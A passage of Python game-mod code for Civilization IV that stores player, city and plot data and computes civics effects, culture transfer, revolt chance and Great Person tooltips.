gc.getCivilizationInfo(pPlayer.getCivilizationType()).getCivilizationInitialCivics(iCategory)\r\n\t\t\tTenetList.append(iTenet)\r\n\r\n\t\telse:\r\n\t\t\tiCivic = pPlayer.getCivics(iCategory)\r\n\t\t\tif iCivic == -1:\r\n\t\t\t\tiCivic = gc.getCivilizationInfo(pPlayer.getCivilizationType()).getCivilizationInitialCivics(iCategory)\r\n\t\t\tCivicList.append(iCivic)\r\n\r\n\tCivicData = \"\"\r\n\tfor iCivic in CivicList:\r\n\t\tCivicData += str(iCivic)\r\n\t\tCivicData += \",\"\r\n\tCivicData = CivicData[:-1]\r\n\r\n\tTenetData = \"\"\r\n\tfor iTenet in TenetList:\r\n\t\tTenetData += str(iTenet)\r\n\t\tTenetData += \",\"\r\n\tTenetData = TenetData[:-1]\r\n\r\n\tReligionData = str(pPlayer.getStateReligion() + 1)\r\n\tFaithData = \"0\" + \"/\" + str(HR_Religion.Faith().iThresholdIncrease)\r\n\tReformationData = \"0\"\r\n\tAnarchyData = \"0\"\r\n\r\n\tShareData = \"\"\r\n\tTradeData = \"\"\r\n\tfor iOrganization in xrange(gc.getNumCorporationInfos()):\r\n\t\tif gc.getCorporationInfo(iOrganization).getSpreadCost() > 0:\r\n\t\t\tShareData += \"0,\"\r\n\t\t\tTradeData += \"0,\"\r\n\tShareData = ShareData[:-1]\r\n\tTradeData = TradeData[:-1]\r\n\r\n\tPlayerData = CivicData + \":\" + TenetData + \":\" + ReligionData + \":\" + FaithData + \":\" + ReformationData + \":\" + AnarchyData + \":\" + ShareData + \":\" + TradeData\r\n\tpPlayer.setScriptData(PlayerData)\r\n\r\n\r\n\r\ndef getPlayerData(pPlayer, iSection):\r\n\t'Returns the desired section of player scriptdata'\r\n\tPlayerData = pPlayer.getScriptData().split(\":\")\r\n\treturn PlayerData[iSection]\r\n\r\n\r\n\r\ndef setPlayerData(pPlayer, iSection, sData):\r\n\t'Sets the a section of player scriptdata to desired string'\r\n\tPlayerData = pPlayer.getScriptData().split(\":\")\r\n\tnewPlayerData = \"\"\r\n\tPlayerData[iSection] = sData\r\n\tfor i in xrange(len(PlayerData)):\r\n\t\tnewPlayerData += PlayerData[i]\r\n\t\tif len(PlayerData) - 1 != i:\r\n\t\t\tnewPlayerData += \":\"\r\n\r\n\tpPlayer.setScriptData(newPlayerData)\r\n\r\n\r\n\r\ndef initCityData(pCity, Name):\r\n\t'Initializes the scriptdata of a city'\r\n\r\n\t# CITY_ID\r\n\tif Name == \"\":\r\n\t\tName = HR_Cities.findCityKey(pCity.getName())\r\n\r\n\tCityData = Name\r\n\tCityData += \":\"\r\n\r\n\t# GREAT_PEOPLE_PROGRESS\r\n\tGPData = \"\"\r\n\tfor iGP in GreatPeople:\r\n\t\tGPData += \"0\"\r\n\t\tif iGP != GreatPeople[-1]:\r\n\t\t\tGPData += \",\"\r\n\r\n\tCityData += GPData\r\n\tCityData += \":\"\r\n\r\n\t# DISSENT\r\n\tCityData += str(CivilWar.CivilWar().iStartDissent)\r\n\tCityData += \":\"\r\n\r\n\t# CULTURE_LEVEL\r\n\tCityData += str(pCity.getCultureLevel())\r\n\tCityData += \":\"\r\n\r\n\t# CORPORATE_HAPPINESS\r\n\tCityData += \"0\"\r\n\tCityData += \":\"\r\n\r\n\t# CORPORATE_HEALTH\r\n\tCityData += \"0\"\r\n\tCityData += \":\"\r\n\r\n\t# CORPORATE_YIELD\r\n\tCityData += \"000\"\r\n\tCityData += \":\"\r\n\r\n\t# STARVATION\r\n\tCityData += \"0\"\r\n\r\n\tpCity.setScriptData(CityData)\r\n\r\n\r\n\r\ndef getCityData(pCity, iSection):\r\n\t'Returns the desired section of city scriptdata'\r\n\tif pCity.getScriptData() == \"\":\r\n\t\tinitCityData(pCity, \"\")\r\n\r\n\tCityData = pCity.getScriptData().split(\":\")\r\n\treturn CityData[iSection]\r\n\r\n\r\n\r\ndef setCityData(pCity, iSection, sData):\r\n\t'Sets the a section of city scriptdata to desired string'\r\n\tif pCity.getScriptData() == \"\":\r\n\t\tinitCityData(pCity, \"\")\r\n\r\n\tCityData = pCity.getScriptData().split(\":\")\r\n\tnewCityData = \"\"\r\n\tCityData[iSection] = sData\r\n\tfor i in xrange(len(CityData)):\r\n\t\tnewCityData += CityData[i]\r\n\t\tif len(CityData) - 1 != i:\r\n\t\t\tnewCityData += \":\"\r\n\r\n\tpCity.setScriptData(newCityData)\r\n\r\n\r\n\r\ndef getPlotData(pPlot, iSection):\r\n\t'Returns the desired section of plot scriptdata'\r\n\tif pPlot.getScriptData() == \"\":\r\n\t\treturn \"\"\r\n\r\n\tPlotData = pPlot.getScriptData().split(\":\")\r\n\treturn PlotData[iSection]\r\n\r\n\r\n\r\ndef setPlotData(pPlot, iSection, sData):\r\n\t'Sets the a section of plot scriptdata to desired string'\r\n\tPlotData = pPlot.getScriptData().split(\":\")\r\n\tnewPlotData = \"\"\r\n\tPlotData[iSection] = sData\r\n\tfor i in xrange(len(PlotData)):\r\n\t\tnewPlotData += PlotData[i]\r\n\t\tif len(PlotData) - 1 != i:\r\n\t\t\tnewPlotData += \":\"\r\n\r\n\tpPlot.setScriptData(newPlotData)\r\n\r\n\r\n\r\ndef doDataChecks(pPlayer, bNewPlayer):\r\n\t'Checks if civics/tenets/religions/etc have changed and triggers appropriate events'\r\n\tif bNewPlayer:\r\n\t\tinitPlayerData(pPlayer)\r\n\r\n\tOldCivicList = getCivicData(pPlayer)\r\n\tNewCivicList = []\r\n\tOldTenetList = HR_Religion.Tenets().getTenetData(pPlayer)\r\n\tNewTenetList = []\r\n\r\n\tbReformation = False\r\n\tfor iCategory in xrange(gc.getNumCivicOptionInfos()):\r\n\t\tif HR_Religion.Tenets().isTenetCategory(iCategory):\r\n\t\t\tiOldTenet = OldTenetList[iCategory - len(OldCivicList)]\r\n\t\t\tiNewTenet = pPlayer.getCivics(iCategory)\r\n\t\t\tNewTenetList.append(iNewTenet)\r\n\t\t\tif bNewPlayer or iOldTenet != iNewTenet:\r\n\t\t\t\tHR_Religion.Tenets().onTenetChanged(pPlayer, iOldTenet, False)\r\n\t\t\t\tHR_Religion.Tenets().onTenetChanged(pPlayer, iNewTenet, True)\r\n\t\t\t\tbReformation = True\r\n\t\telse:\r\n\t\t\tiOldCivic = OldCivicList[iCategory]\r\n\t\t\tiNewCivic = pPlayer.getCivics(iCategory)\r\n\t\t\tNewCivicList.append(iNewCivic)\r\n\t\t\tif bNewPlayer or iOldCivic != iNewCivic:\r\n\t\t\t\tonCivicChanged(pPlayer, iOldCivic, False)\r\n\t\t\t\tonCivicChanged(pPlayer, iNewCivic, True)\r\n\r\n\tiLastReligion = int(getPlayerData(pPlayer, PlayerData.index('STATE_RELIGION')))\r\n\tiStateReligion = pPlayer.getStateReligion() + 1\r\n\tif iStateReligion != iLastReligion:\r\n\t\tbReformation = True\r\n\t\tif iStateReligion == 0 and iLastReligion > 0:\r\n\t\t\tiStateReligion = iLastReligion * -1\r\n\t\tsetPlayerData(pPlayer, PlayerData.index('STATE_RELIGION'), str(iStateReligion))\r\n\r\n\tif bReformation:\r\n\t\tHR_Religion.setReligiousAttitude(pPlayer)\r\n\r\n\tiReformationTimer = HR_Religion.Tenets().getReformationTimer(pPlayer)\r\n\tif iReformationTimer > 0:\r\n\t\tHR_Religion.Tenets().setReformationTimer(pPlayer, iReformationTimer - 1)\r\n\telif iReformationTimer == -1:\r\n\t\tHR_Religion.Tenets().setReformationTimer(pPlayer, 0)\r\n\r\n\tif not bNewPlayer:\r\n\t\tsetCivicData(pPlayer, NewCivicList)\r\n\t\tHR_Religion.Tenets().setTenetData(pPlayer, NewTenetList)\r\n\r\n\r\n\r\n### CIVICS\r\n\r\ndef getCivicData(pPlayer):\r\n\t''\r\n\tCivicList = []\r\n\tCivicData = getPlayerData(pPlayer, PlayerData.index('CIVICS')).split(\",\")\r\n\tfor szData in CivicData:\r\n\t\tCivicList.append(int(szData))\r\n\r\n\treturn CivicList\r\n\r\n\r\n\r\ndef setCivicData(pPlayer, CivicList):\r\n\t''\r\n\tCivicData = \"\"\r\n\tfor iCivic in CivicList:\r\n\t\tCivicData += str(iCivic)\r\n\t\tCivicData += \",\"\r\n\tCivicData = CivicData[:-1]\r\n\r\n\tsetPlayerData(pPlayer, PlayerData.index('CIVICS'), CivicData)\r\n\r\n\r\n\r\ndef onCivicChanged(pPlayer, iCivic, bAdopted):\r\n\t'Event triggered when a specified civic has been changed for a player'\r\n\r\n\t# Extra Palace Yield\r\n\tfor eCivic, YieldType, iYieldChange in Civic.ExtraPalaceYield:\r\n\t\tif iCivic == eCivic:\r\n\t\t\tpCapital = pPlayer.getCapitalCity()\r\n\t\t\tpCapital.setBuildingYieldChange(gc.getInfoTypeForString('BUILDINGCLASS_PALACE'), YieldType, bAdopted * iYieldChange)\r\n\r\n\t# Fake Wonders\r\n\tfor eCivic, iBuilding in Civic.FakeWonder:\r\n\t\tif iCivic == eCivic:\r\n\t\t\tpCapital = pPlayer.getCapitalCity()\r\n\t\t\tpCapital.setNumRealBuilding(iBuilding, bAdopted)\r\n\r\n\t# Corporations\r\n\tif pPlayer.countTotalHasCorporation() > 0:\r\n\t\t(loopCity, i) = pPlayer.firstCity(False)\r\n\t\twhile(loopCity):\r\n\t\t\tHR_Organizations.updateCityOrganizations(loopCity)\r\n\t\t\t(loopCity, i) = pPlayer.nextCity(i, False)\r\n\r\n\r\n\r\n### COMBAT\r\n\r\ndef doCombatCommerce(pPlayer, pUnit, pPlot, iCommerceType):\r\n\t'Grants commerce when a unit is defeated'\r\n\r\n\t# Determine commerce value from dead unit's experience\r\n\tiReward = max(1, pUnit.getExperience())\r\n\r\n\t# Wealth\r\n\tif iCommerceType == 0:\r\n\t\tpPlayer.changeGold(iReward)\r\n\t\tsRecipient = \"You earn\"\r\n\t\tsIcon = \"[ICON_GOLD]\"\r\n\r\n\t# Culture\r\n\telif iCommerceType == 2:\r\n\t\tpCity = gc.getMap().findCity(pPlot.getX(), pPlot.getY(), pPlayer.getID(), TeamTypes.NO_TEAM, True, False, TeamTypes.NO_TEAM, DirectionTypes.NO_DIRECTION, CyCity())\r\n\t\tpCity.changeCulture(pPlayer.getID(), iReward, True)\r\n\t\tsRecipient = pCity.getName() + \" earns\"\r\n\t\tsIcon = \"[ICON_CULTURE]\"\r\n\r\n\t# Other Commerces NYI\r\n\telse:\r\n\t\treturn\r\n\r\n\t# Message player\r\n\tsUnit = pUnit.getName()\r\n\tif gc.getUnitInfo(pUnit.getUnitType()).isHiddenNationality():\r\n\t\tsAdj = \"\"\r\n\telse:\r\n\t\tsAdj = gc.getPlayer(pUnit.getOwner()).getCivilizationAdjective(0)\r\n\r\n\tCyInterface().addMessage(pPlayer.getID(), True, gc.getEVENT_MESSAGE_TIME(), CyTranslator().getText('TXT_KEY_MESSAGE_COMBAT_COMMERCE', (sRecipient, iReward, sIcon, sAdj, sUnit)), None, 2, None, ColorTypes(gc.getInfoTypeForString('COLOR_WHITE')), 0, 0, False, False)\r\n\r\n\r\n\r\n### CULTURE\r\n\r\ndef getCityCulture(pCity):\r\n\t'Gets culture level from city scriptdata'\r\n\t'Used to detect changes in culture level'\r\n\treturn int(getCityData(pCity, CityData.index('CULTURE_LEVEL')))\r\n\r\n\r\n\r\ndef setCityCulture(pCity, iLevel):\r\n\t'Stores culture level in city scriptdata'\r\n\t'Used to detect changes in culture level'\r\n\tsetCityData(pCity, CityData.index('CULTURE_LEVEL'), str(iLevel))\r\n\r\n\r\n\r\ndef getCultureTransfer(pImportCity, pExportCity):\r\n\t''\r\n\tpImportPlayer = gc.getPlayer(pImportCity.getOwner())\r\n\tpExportPlayer = gc.getPlayer(pExportCity.getOwner())\r\n\r\n\tiCultureTransfer = 0\r\n\tif not pImportPlayer.isCivic(Civic.NoTradeRouteCulture) and not pExportPlayer.isCivic(Civic.NoTradeRouteCulture):\r\n\t\tiImportPercent = pImportPlayer.getCommercePercent(CommerceTypes.COMMERCE_CULTURE)\r\n\t\tiExportPercent = pExportPlayer.getCommercePercent(CommerceTypes.COMMERCE_CULTURE)\r\n\t\tif not pImportPlayer.isHuman():\r\n\t\t\tiImportPercent += (CyGame().getHandicapType() * 3)\r\n\t\tif not pExportPlayer.isHuman():\r\n\t\t\tiExportPercent += (CyGame().getHandicapType() * 3)\r\n\r\n\t\tiExportPercent -= iImportPercent\r\n\t\tif iExportPercent > 0:\r\n\t\t\tiCultureTransfer = pExportCity.getCommerceRate(CommerceTypes.COMMERCE_CULTURE) * iExportPercent / 100\r\n\r\n\t\t\tiImportCitySize = pImportCity.getPopulation()\r\n\t\t\tiExportCitySize = pExportCity.getPopulation()\r\n\t\t\tif iExportCitySize > iImportCitySize:\r\n\t\t\t\tiCultureTransfer *= iImportCitySize / iExportCitySize\r\n\r\n\t\t\tiTurns = CyGame().getGameTurn() - pImportCity.getGameTurnAcquired()\r\n\t\t\tiModifier = -100 + min(100, iTurns * 100 / CivilWar.CivilWar().iEscalationTurns)\r\n\t\t\tiCultureTransfer += ((iCultureTransfer * iModifier) / 100)\r\n\r\n\treturn iCultureTransfer\r\n\r\n\r\n\r\ndef getLiberationChance(pCity):\r\n\t''\r\n\tfLiberation = 0.0\r\n\tpPlot = pCity.plot()\r\n\tiCulturalOwner = pPlot.calculateCulturalOwner()\r\n\r\n\tif iCulturalOwner > -1:\r\n\t\tif gc.getPlayer(iCulturalOwner).getTeam() != pCity.getTeam():\r\n\t\t\tiCityStrength = pCity.cultureStrength(iCulturalOwner)\r\n\t\t\tiGarrisonStrength = pCity.cultureGarrison(iCulturalOwner)\r\n\r\n\t\t\tif iCityStrength > iGarrisonStrength:\r\n\t\t\t\tiBestModifier = 0\r\n\t\t\t\tfor iUnit in xrange(pPlot.getNumUnits()):\r\n\t\t\t\t\tpUnit = pPlot.getUnit(iUnit)\r\n\t\t\t\t\tif not pUnit.isNone() and not pUnit.isDead():\r\n\t\t\t\t\t\tiRevoltProtection = pUnit.getRevoltProtection()\r\n\t\t\t\t\t\tif iRevoltProtection > iBestModifier:\r\n\t\t\t\t\t\t\tiBestModifier = iRevoltProtection\r\n\r\n\t\t\t\tfCityStrength = float(iCityStrength)\r\n\t\t\t\tfGarrisonStrength = float(iGarrisonStrength)\r\n\t\t\t\tfProbability = float(gc.getDefineINT('REVOLT_TEST_PROB') * (100 - min(iBestModifier, 100)) / 100)\r\n\r\n\t\t\t\tif BugPath.isMac():\r\n\t\t\t\t\t# BTS calculation\r\n\t\t\t\t\tfLiberation = (1.0 - (fGarrisonStrength / fCityStrength)) * min(100.0, fProbability)\r\n\r\n\t\t\t\telse:\r\n\t\t\t\t\t# K-Mod calculation\r\n\t\t\t\t\tfVictoryDelay = float(gc.getGameSpeedInfo(CyGame().getGameSpeedType()).getVictoryDelayPercent())\r\n\t\t\t\t\tfLiberation = (fCityStrength - fGarrisonStrength) / (fCityStrength + 2 * fGarrisonStrength) * (fProbability / fVictoryDelay)\r\n\r\n\treturn fLiberation\r\n\r\n\r\n\r\ndef getCityEthnicityHelp(pCity):\r\n\t'Displays help text for the city ethnicity bar'\r\n\tlNationalities = []\r\n\tfor iPlayer in xrange(gc.getMAX_PLAYERS()):\r\n\t\tif gc.getPlayer(iPlayer).isAlive():\r\n\t\t\tiPercent = pCity.plot().calculateCulturePercent(iPlayer)\r\n\t\t\tif iPercent > 0:\r\n\t\t\t\tlNationalities.append((iPercent, iPlayer))\r\n\r\n\tszHelp = \"Ethnicity:\"\r\n\tlNationalities.sort()\r\n\tlNationalities.reverse()\r\n\tfor iPercent, iPlayer in lNationalities:\r\n\t\tpPlayer = gc.getPlayer(iPlayer)\r\n\t\tszColor = \"\" % (pPlayer.getPlayerTextColorR(), pPlayer.getPlayerTextColorG(), pPlayer.getPlayerTextColorB(), pPlayer.getPlayerTextColorA())\r\n\t\tszCiv = szColor + pPlayer.getCivilizationAdjective(0) + \"\"\r\n\t\tszSpace = u\"\"\r\n\t\tif len(str(iPercent)) == 1:\r\n\t\t\tszSpace = u\" \"\r\n\t\tszHelp += u\"\\n%s%d%% %s\" % (szSpace, iPercent, szCiv)\r\n\r\n\tfLiberation = getLiberationChance(pCity)\r\n\tif fLiberation > 0.0:\r\n\t\tszHelp += u\"\\n\\Revolt Chance: %.2f%%\" % fLiberation\r\n\r\n\treturn szHelp\r\n\r\n\r\n\r\n### GREAT PEOPLE & SPECIALISTS\r\n\r\ndef getGreatPersonProgress(pCity, iUnit):\r\n\t'Returns the GPP progress a city has towards the specified Great Person'\r\n\tif pCity:\r\n\t\tGPProgress = getCityData(pCity, CityData.index('GREAT_PEOPLE_PROGRESS')).split(\",\")\r\n\t\tif len(GPProgress) == len(GreatPeople):\r\n\t\t\tif iUnit in GreatPeople:\r\n\t\t\t\ti = GreatPeople.index(iUnit)\r\n\t\t\t\treturn int(GPProgress[i])\r\n\r\n\treturn 0\r\n\r\n\r\n\r\ndef getGreatPersonRate(pCity, iUnit):\r\n\t'Returns the modified rate at which a city generates GPP for the specified Great Person'\r\n\tif pCity:\r\n\t\tif iUnit in GreatPeople:\r\n\t\t\tiModifier = getGreatPersonModifier(pCity, iUnit)\r\n\t\t\tiRate = pCity.getGreatPeopleUnitRate(iUnit)\r\n\t\t\tiRate += ((iRate * iModifier) / 100)\r\n\t\t\treturn iRate\r\n\r\n\treturn -1\r\n\r\n\r\n\r\ndef getGreatPersonModifier(pCity, iUnit):\r\n\t'Returns the total modifier for generation of a specified Great Person in a city'\r\n\tpPlayer = gc.getPlayer(pCity.getOwner())\r\n\tiModifier = pPlayer.getGreatPeopleRateModifier() + pCity.getGreatPeopleRateModifier()\r\n\r\n\tif iUnit in Trait.GreatPersonTypeModifier.keys():\r\n\t\tiTrait, iTraitModifier = Trait.GreatPersonTypeModifier[iUnit]\r\n\t\tif pPlayer.hasTrait(iTrait):\r\n\t\t\tiModifier += iTraitModifier\r\n\r\n\tiBuildingClass, iGoldenAgeModifier = Building.GoldenAgeGPPModifier\r\n\tif pPlayer.isGoldenAge() and pPlayer.getBuildingClassCount(iBuildingClass) > 0:\r\n\t\tiModifier += iGoldenAgeModifier\r\n\r\n\tiStateReligion = pPlayer.getStateReligion()\r\n\tif iStateReligion > -1:\r\n\t\tiTenet, iTenetModifier = HR_Religion.Tenets().TempleGPPModifier\r\n\t\tif pPlayer.isCivic(iTenet):\r\n\t\t\tiBuilding = HR_Religion.getReligionTemple(iStateReligion)\r\n\t\t\tif pCity.getNumBuilding(iBuilding) > 0:\r\n\t\t\t\tiModifier += iTenetModifier\r\n\r\n\tiTenet, iStateModifier, iNonStateModifier = HR_Religion.Tenets().StateReligionGPPModifier\r\n\tif pPlayer.isCivic(iTenet):\r\n\t\tfor iReligion in xrange(gc.getNumReligionInfos()):\r\n\t\t\tif pCity.isHasReligion(iReligion):\r\n\t\t\t\tif iReligion == pPlayer.getStateReligion():\r\n\t\t\t\t\tiModifier += iStateModifier\r\n\t\t\t\telse:\r\n\t\t\t\t\tiModifier += iNonStateModifier\r\n\r\n\tif iUnit in HR_Religion.Tenets().GreatPersonTypeModifier.keys():\r\n\t\tiTenet, iTenetModifier = HR_Religion.Tenets().GreatPersonTypeModifier[iUnit]\r\n\t\tif pPlayer.isCivic(iTenet):\r\n\t\t\tiModifier += iTenetModifier\r\n\r\n\tif pCity.isHolyCityByType(pPlayer.getStateReligion()):\r\n\t\tiTenet, iTenetModifier = HR_Religion.Tenets().ShrineGPPModifier\r\n\t\tif pPlayer.isCivic(iTenet):\r\n\t\t\tiModifier += iTenetModifier\r\n\r\n\treturn iModifier\r\n\r\n\r\n\r\ndef getGreatPersonTurns(pCity, iUnit):\r\n\t'Returns the number of turns in which a city will generate the specified Great Person'\r\n\tif pCity:\r\n\t\tiThreshold = gc.getPlayer(pCity.getOwner()).greatPeopleThreshold(False)\r\n\t\tiProgress = getGreatPersonProgress(pCity, iUnit)\r\n\t\tiRate = getGreatPersonRate(pCity, iUnit)\r\n\t\tif iRate > 0:\r\n\t\t\tiTurns = (iThreshold - iProgress + iRate - 1) / iRate\r\n\t\t\treturn iTurns\r\n\r\n\treturn -1\r\n\r\n\r\n\r\ndef getGreatPersonTopCities(pPlayer, iMaxCities):\r\n\t'Returns a list of cities closest to generating a Great Person'\r\n\t'Returns Great Person progression by type for the currently selected city'\r\n\tGPCityList = []\r\n\tpHeadSelectedCity = CyInterface().getHeadSelectedCity()\r\n\r\n\tif pHeadSelectedCity and pHeadSelectedCity.getTeam() == CyGame().getActiveTeam():\r\n\t\tiMaxCities = len(GreatPeople)\r\n\t\tfor iGP in GreatPeople:\r\n\t\t\tiTurns = getGreatPersonTurns(pHeadSelectedCity, iGP)\r\n\t\t\tif iTurns > -1:\r\n\t\t\t\tGPCityList.append((iTurns, iGP, pHeadSelectedCity))\r\n\r\n\telse:\r\n\t\t(loopCity, i) = pPlayer.firstCity(False)\r\n\t\twhile(loopCity):\r\n\t\t\tfor iGP in GreatPeople:\r\n\t\t\t\tiTurns = getGreatPersonTurns(loopCity, iGP)\r\n\t\t\t\tif iTurns > -1:\r\n\t\t\t\t\tGPCityList.append((iTurns, iGP, loopCity))\r\n\t\t\t(loopCity, i) = pPlayer.nextCity(i, False)\r\n\r\n\tif GPCityList:\r\n\t\tGPCityList.sort()\r\n\t\tif len(GPCityList) > iMaxCities:\r\n\t\t\tdel GPCityList[iMaxCities:]\r\n\r\n\treturn GPCityList\r\n\r\n\r\n\r\ndef getGreatPersonBarHelp(pPlayer):\r\n\t'Provides help text for main interface Great Person bar'\r\n\tszHelp = u\"\"\r\n\tGPCityList = getGreatPersonTopCities(pPlayer, 5)\r\n\r\n\tif GPCityList:\r\n\t\tsColor = \"\" %(pPlayer.getPlayerTextColorR(), pPlayer.getPlayerTextColorG(), pPlayer.getPlayerTextColorB(), pPlayer.getPlayerTextColorA())\r\n\t\tszHelp += \"\" + CyTranslator().getText('TXT_KEY_INTERFACE_GREAT_PEOPLE_HELP_HEADER', ())\r\n\t\tiThreshold = pPlayer.greatPeopleThreshold(False)\r\n\t\tfor iTurns, iGP, pCity in GPCityList:\r\n\t\t\tiProgress = getGreatPersonProgress(pCity, iGP)\r\n\t\t\tszHelp += \"\\n\\n\" + getGreatPersonSymbol(iGP) + gc.getUnitInfo(iGP).getDescription() + \"\\n\"\r\n\t\t\tszHelp += sColor + pCity.getName() + \"\" + \": \" + CyTranslator().getText('TXT_KEY_INTERFACE_GREAT_PEOPLE_HELP_TURNS', (iProgress, iThreshold, iTurns))\r\n\t\tszHelp += \"\"\r\n\r\n\treturn szHelp\r\n\r\n\r\n\r\ndef getGreatPersonCityBarHelp(pCity, iUnit):\r\n\t'Provides help text for Great Person bar tooltips'\r\n\tpPlayer = gc.getPlayer(pCity.getOwner())\r\n\tiProgress = getGreatPersonProgress(pCity, iUnit)\r\n\tiThreshold = pPlayer.greatPeopleThreshold(False)\r\n\tiSpecialist, iSpecialistRate = getGreatPersonSpecialistInfo(iUnit)\r\n\tiNumSpecialists = pCity.getSpecialistCount(iSpecialist) + pCity.getFreeSpecialistCount(iSpecialist)\r\n\tiSpecialistRate *= iNumSpecialists\r\n\r\n\tiBuildingCount = 0\r\n\tiBuildingRate = 0\r\n\tfor iBuilding in xrange(gc.getNumBuildingInfos()):\r\n\t\tif pCity.getNumBuilding(iBuilding) > 0:\r\n\t\t\tif gc.getBuildingInfo(iBuilding).getGreatPeopleUnitClass() == gc.getUnitInfo(iUnit).getUnitClassType():\r\n\t\t\t\tiBuildingCount += 1\r\n\t\t\t\tiBuildingRate += gc.getBuildingInfo(iBuilding).getGreatPeopleRateChange()\r\n\r\n\tiModifier = getGreatPersonModifier(pCity, iUnit)\r\n\tiModAmount = ((iSpecialistRate + iBuildingRate) * iModifier) / 100\r\n\r\n\tGPChar = CyGame().getSymbolID(FontSymbols.GREAT_PEOPLE_CHAR)\r\n\tszBullet = u\"%c\" % CyGame().getSymbolID(FontSymbols.BULLET_CHAR)\r\n\tszHelp = CyTranslator().changeTextColor(gc.getUnitInfo(iUnit).getDescription(), gc.getInfoTypeForString('COLOR_GREAT_PEOPLE_RATE'))\r\n\tszHelp += u\"\\n%d of %d%c\" % (iProgress, iThreshold, GPChar)\r\n\r\n\tif iSpecialistRate > 0 or iBuildingRate > 0:\r\n\t\tif iSpecialistRate > 0:\r\n\t\t\tszHelp += u\"\\n%s+%d%c from Specialists\" % (szBullet, iSpecialistRate, GPChar)\r\n\t\tif iBuildingRate > 0:\r\n\t\t\tszHelp += u\"\\n%s+%d%c from Wonders (%d)\" % (szBullet, iBuildingRate, GPChar, iBuildingCount)\r\n\r\n\t\tif iModifier > 0:\r\n\t\t\tszHelp += u\"\\n%s+%d%c from Modifier (%d%%)\" % (szBullet, iModAmount, GPChar, iModifier)\r\n\t\telif iModifier < 0:\r\n\t\t\tszHelp += u\"\\n%s%d%c from Modifier (%d%%)\" % (szBullet, iModAmount, GPChar, iModifier)\r\n\r\n\treturn szHelp\r\n\r\n\r\n\r\ndef getGreatPersonSymbol(iUnit):\r\n\t'Returns the appropriate symbol as a string'\r\n\tif iUnit == GreatPeople[0]:\t\tsIcon = \"[ICON_CULTURE]\"\r\n\telif iUnit == GreatPeople[1]:\tsIcon = \"[ICON_HEALTHY]\"\r\n\telif iUnit == GreatPeople[2]:\tsIcon = \"[ICON_PRODUCTION]\"\r\n\telif iUnit == GreatPeople[3]:\tsIcon = \"[ICON_GOLD]\"\r\n\telif iUnit == GreatPeople[4]:\tsIcon = \"[ICON_RESEARCH]\"\r\n\telif iUnit == GreatPeople[5]:\tsIcon = \"[ICON_ESPIONAGE]\"\r\n\telse:\t\t\t\t\t\t\tsIcon = \"[ICON_GREATPEOPLE]\"\r\n\treturn CyTranslator().getText(sIcon, ())\r\n\r\n\r\n\r\ndef getGreatPersonSpecialistType(iGP, bGreat):\r\n\t'Returns the specialist ID associated with the specified Great Person'\r\n\tiUnitClass = gc.getUnitInfo(iGP).getUnitClassType()\r\n\tfor iSpecialist in xrange(gc.getNumSpecialistInfos()):\r\n\t\tSpecialistInfo = gc.getSpecialistInfo(iSpecialist)\r\n\t\tif SpecialistInfo.getGreatPeopleUnitClass() == iUnitClass:\r\n\t\t\tif bGreat:\r\n\t\t\t\tiSpecialist = gc.getInfoTypeForString(SpecialistInfo.getType().replace(\"_\", \"_GREAT_\"))\r\n\t\t\treturn iSpecialist\r\n\r\n\treturn -1\r\n\r\n\r\n\r\ndef getGreatPersonSpecialistInfo(iUnit):\r\n\t'Returns the specialist ID and GPP rate associated with the specified Great Person'\r\n\tiUnitClass = gc.getUnitInfo(iUnit).getUnitClassType()\r\n\tfor iSpecialist in xrange(gc.getNumSpecialistInfos()):\r\n\t\tif gc.getSpecialistInfo(iSpecialist).getGreatPeopleUnitClass() == iUnitClass:\r\n\t\t\tiRate = gc.getSpecialistInfo(iSpecialist).getGreatPeopleRateChange()\r\n\t\t\treturn iSpecialist, iRate\r\n\r\n\treturn -1, -1\r\n\r\n\r\n\r\ndef getGreatGeneralBarHelp(pPlayer):\r\n\t''\r\n\tiCombatExp = pPlayer.getCombatExperience()\r\n\tiThreshold = pPlayer.greatPeopleThreshold(True)\r\n\tszUnit = gc.getUnitInfo(gc.getInfoTypeForString('UNIT_GENERAL')).getDescription()\r\n\tszText = CyTranslator().getText('TXT_KEY_INTERFACE_GREAT_GENERAL_BAR_HELP', (szUnit, iCombatExp, iThreshold))\r\n\r\n\treturn szText\r\n\r\n\r\n\r\ndef getSpecialistHelp(iSpecialist):\r\n\t'Provides extra information for specialist tooltips'\r\n\tszHelp = CyGameTextMgr().getSpecialistHelp(iSpecialist, False).replace(\"Birth Rate\", \"\")\r\n\r\n\tif iSpecialist == gc.getInfoTypeForString('SPECIALIST_PRIEST'):\r\n\t\tszHelp = szHelp.replace(u\"%c\" % CyGame().getSymbolID(FontSymbols.GREAT_PEOPLE_CHAR), u\"%c\" % CyGame().getSymbolID(FontSymbols.RELIGION_CHAR))\r\n\r\n\tif iSpecialist != gc.getInfoTypeForString('SPECIALIST_CITIZEN'):\r\n\t\tpCity = CyInterface().getHeadSelectedCity()\r\n\t\tif pCity:\r\n\t\t\tiActive = pCity.getSpecialistCount(iSpecialist)\r\n\t\t\tiFree = pCity.getFreeSpecialistCount(iSpecialist)\r\n\t\t\tiTotal = pCity.getMaxSpecialistCount(iSpecialist)\r\n\t\t\tif iTotal > 0:\r\n\t\t\t\tszHelp += CyTranslator().getText('TXT_KEY_INTERFACE_CITY_SPECIALIST_HELP_1', (iActive, iTotal))\r\n\t\t\tif iFree > 0:\r\n\t\t\t\tszHelp += CyTranslator().getText('TXT_KEY_INTERFACE_CITY_SPECIALIST_HELP_2', (iFree, ))\r\n\r\n\treturn szHelp\r\n\r\n\t\r\n\r\n### MISSIONS\r\n\r\ndef doGreatPeopleMissions(pUnit, iData1, iData2):\r\n\t''\r\n\tiPlayer = pUnit.getOwner()\r\n\tpPlayer = gc.getPlayer(iPlayer)\r\n\tiTeam = pPlayer.getTeam()\r\n\tpTeam = gc.getTeam(iTeam)\r\n\tiReligion = pPlayer.getStateReligion()\r\n\r\n\tpPlot = pUnit.plot()\r\n\tpCity = pPlot.getPlotCity()\r\n\tiPlotOwner = pPlot.getOwner()\r\n\tif iPlotOwner > -1:\r\n\t\tpPlotOwner = gc.getPlayer(iPlotOwner)\r\n\t\tiPlotTeam = pPlotOwner.getTeam()\r\n\t\tpPlotTeam = gc.getTeam(iPlotTeam)\r\n\r\n\tpUnit.kill(False, -1)\r\n\r\n\t# Propaganda (Artist)\r\n\tif iData1 == 901:\r\n\t\tfor iTeamX in xrange(gc.getMAX_CIV_TEAMS()):\r\n\t\t\tpTeam.setWarWeariness(iTeamX, 0)\r\n\r\n\t# Inoculation (Doctor)\r\n\telif iData1 == 